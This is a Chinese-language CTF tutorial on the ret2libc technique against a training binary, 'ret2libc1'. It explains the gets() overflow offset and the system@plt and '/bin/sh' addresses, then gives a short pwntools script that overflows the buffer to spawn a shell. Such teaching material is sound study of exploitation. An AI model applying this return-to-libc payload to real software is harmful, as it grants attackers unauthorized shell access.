栈溢出入门05 ret2libc1
ret2libc的分类
程序中自身就含有system函数和"/bin/sh"字符串
程序中自身就有system函数,但是没有"/bin/sh"字符串
程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件
1.查看基本信息
1.1 checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
开启了堆栈不可执行,部分重载
1.2 file ret2libc

动态链接、32位、小段序
2.寻找溢出位置
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 int v4; // [esp+1Ch] [ebp-64h] BYREF 4 5 setvbuf(stdout, 0, 2, 0); 6 setvbuf(_bss_start, 0, 1, 0); 7 puts("RET2LIBC >_<"); 8 gets(&v4); 9 return 0; 10 }
明显地gets函数会溢出:溢出点偏移是0x64+0x8+0x4=0x70=112
然后IDA查看函数发现又system函数

发现system上有个extern,说明函数的定义在其他地方,这个地方的地址不是真正的地址。继续寻找,发现在plt表上,是个链接进来的函数地址,是0x08048460,所以system_plt = 0x08048460

IDA 的string表上发现“/bin/sh”字符串

binsh_addr = 0x8048720
还有一个secure函数但是该函数里边没有直接执行system(“/bin/sh”)的语句
1 void secure() 2 { 3 int v0; // eax 4 int input; // [esp+18h] [ebp-10h] BYREF 5 int secretcode; // [esp+1Ch] [ebp-Ch] 6 7 v0 = time(0); 8 srand(v0); 9 secretcode = rand(); 10 __isoc99_scanf("%d", &input); 11 if ( input == secretcode ) 12 system("shell!?"); 13 }
所以需要自己调用system函数,自己构建system的函数栈。
3.构造栈帧结构

这里有一个问题不是在经典栈帧结构里应该是内存地址从高到低应该是参数-返回地址-old ebp吗?
为什么这里的返回地址后边紧紧跟着的是system_plt的地址?上图所构造的栈帧结构是刚刚gets完后,main还没有返回的栈帧结构,我们还没有真正劫持程序流程。
当main函数返回的时候,最后一步的ret 完成后的栈帧结构:

看到了没,程序执行完main函数的最后指令ret后system_plt位置实际已经被释放掉了,在此位置的基础上,system_plt会重新构建堆栈如下图(为便于理解这里将system假设为普通函数):

上图中绿色是一直没有改变的地方,黄色是跳转到system_plt函数执行中重新开辟的堆栈结构,这下又回归到经典的栈帧结构了吧:地址从高到低,函数参数--返回地址- -old ebp--局部变量。这时候我们发现进入到system_plt后其返回地址恰恰是我们填充的‘A’*4,这就证明了我们构造的栈帧没有错误。实际上我们进入system后就获得了shell。假设system函数能返回的话,因为我们是胡乱地将system_plt的返回地址覆盖成了‘A’*4,所以system_plt返回就会造成程序崩溃,但我们并不关心,因为我们早就在getshell的时候为所欲为了。
还有要注意的是我们之前使用系统调用进行getshell就是ret2syscall的题目,系统调用没考虑函数返回值的问题,基本上是顺序执行的和这里构造的栈帧结构不同。
4.exp
#!/usr/bin/env python from pwn import * sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr]) sh.sendline(payload) sh.interactive()
5.运行


浙公网安备 33010602011771号